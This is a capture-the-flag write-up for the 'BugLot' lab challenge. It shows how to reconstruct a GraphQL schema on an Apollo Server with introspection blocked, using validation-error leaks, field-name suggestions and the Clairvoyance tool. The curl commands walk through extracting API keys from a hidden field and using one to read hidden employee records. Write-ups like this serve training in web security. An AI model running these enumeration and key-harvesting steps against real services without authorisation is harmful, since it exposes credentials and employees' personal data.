> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/webverse-pro/2026/buglot.md). # BugLot Mystery Challenge (Medium) - by Leighlin Gunner Ramsay {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## **Scenario** BugLot's own security page calls the platform hardened and independently audited, and at a glance it holds up. But a company that catalogs everyone else's vulnerabilities got careless with its own data. A program's public page is only the slice they chose to show; the rest of the record is still sitting there for anyone who looks past the listing. ## Summary
Summary The target is BugLot, a vulnerability-disclosure platform whose own GraphQL API leaks more than its public listings show. Recon through Burp reveals the site runs on Apollo Server, with the main page and leaderboard both backed by GraphQL. Standard introspection (`__schema`, `__type`) is blocked. The core technique is error-based schema reconstruction. Apollo's validation errors leak type names, field names, and argument signatures even with introspection disabled. Querying `program` without subfields leaks its return type and argument signature (`program(handle: String!) → Company`); querying bogus fields triggers "Did you mean" suggestions that reveal real field names, including a hidden `__key`/`apikey` field. Extracting `programs { handle apikey }` yields API keys, but no obviously usable root field, so the keys sit idle. Clairvoyance then automates the same validation-error oracle with a larger wordlist and recovers what manual probing missed: a hidden `employees(key, handle)` root field returning a hidden `Employee` type with a sensitive `internalNote`. Supplying the leaked API key as the `key` argument unlocks the employee records and the final flag.
Attack Path ``` Introspection blocked ↓ Validation errors leak field names & types (manual oracle) ↓ __key probe → "Did you mean apikey?" → discover hidden field ↓ Extract API keys: blk_northwind_REDACTED, blk_cedar_REDACTED, ... ↓ Clairvoyance → discovers hidden root field: employees(key, handle) ↓ API key + handle → employees → internalNote → FLAG ```
## Recon We'll start by manually visiting the page and redirecting the request to Burp Suite through our proxy.Next, we'll look at the requests in the HTTP history. It looks like we only have one main site and one leaderboard available. {% code overflow="wrap" expandable="true" %} ``` https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com/ ``` {% endcode %}
When we visit the respective pages, we see that a GraphQL request is made and that we receive the result back as JSON.
{% code overflow="wrap" expandable="true" %} ``` https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com/leaderboard ``` {% endcode %}
We'll continue by enumerating the GraphQL schema. But standard introspection query returns a hard block from the Apollo Server. {% code overflow="wrap" expandable="true" %} ``` TARGET=https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq ``` {% endcode %}
We see also `__type` is also blocked. {% code overflow="wrap" expandable="true" %} ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ __type(name: \"Query\") { fields { name } } }"}' | jq ``` {% endcode %}
We can research on that topic on the following resource, but the bypasses mentioned here do not work. {% embed url="" %} ## Exploit Apollo's validation errors leak type names, field names, and argument signatures even with introspection disabled. So querying a field without its required subfields forces Apollo to leak the return type and argument signature. {% code overflow="wrap" expandable="true" %} ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ program }"}' | jq ``` {% endcode %}
This reveals: `program(handle: String!) → Company` without any introspection. By querying a non-existent field it triggers Apollo's `"Did you mean"` suggestions, leaking real field names. {% code overflow="wrap" expandable="true" %} ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ programs { bounty } }"}' | jq ``` {% endcode %}
And probing with `__key` triggers a suggestion for a hidden field that was not in any standard wordlist: {% code overflow="wrap" expandable="true" %} ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ programs { __key } }"}' | jq ``` {% endcode %}
Since we found the apikey field we try to request that. We extract the leaked API keys from all programs. At this point we had leaked credentials but no way to use them, manual enumeration had not found any root field that accepted them. {% code overflow="wrap" expandable="true" %} ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ programs { handle apikey } }"}' | jq ``` {% endcode %}
Our manual enumeration has limited coverage so we switch to Clairvoyance which automates the same validation-error oracle with a much larger wordlist: {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` clairvoyance $TARGET -o schema.json ``` {% endcode %}
Clairvoyance discovers a hidden root field and type that manual probing missed: ``` cat schema.json | jq ```
The reconstructed schema revealed what we missed A hidden `Employee` record with the `internalNote` field: {% code overflow="wrap" %} ``` type Query { programs: [Company!]! program(handle: String!): Company leaderboard: [Researcher!]! researcher(handle: String!): Researcher employees(key: String!, handle: String!): [Employee] # ← HIDDEN } type Employee { # ← HIDDEN TYPE name: String! title: String! email: String! phone: String! internalNote: String # ← SENSITIVE INFORMATION } ``` {% endcode %} {% code overflow="wrap" %} ``` cat schema.json | jq '.data.__schema.types[] | select(.name=="Employee") | .fields[] | select(.name=="internalNote") ``` {% endcode %}
We try to query for the internal note, but without success. A key is required. ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ employees( handle: \"northwind\") { name title email phone internalNote } }"}' | jq ```
The `employees` field requires a `key` argument, this might be the API key we leaked from `Company.apikey`: {% code overflow="wrap" %} ``` cat schema.json | jq '.data.__schema.types[] | select(.name=="Query") | .fields[] | select(.name=="employees") | .args[] | select(.name=="key") ``` {% endcode %}
Providing the leaked API key grants us access to employee records and their internal notes including the final flag. ``` curl -sk $TARGET -H 'Content-Type: application/json' \ -d '{"query":"{ employees(key: \"REDACTED\", handle: \"northwind\") { name title email phone internalNote } }"}' | jq ```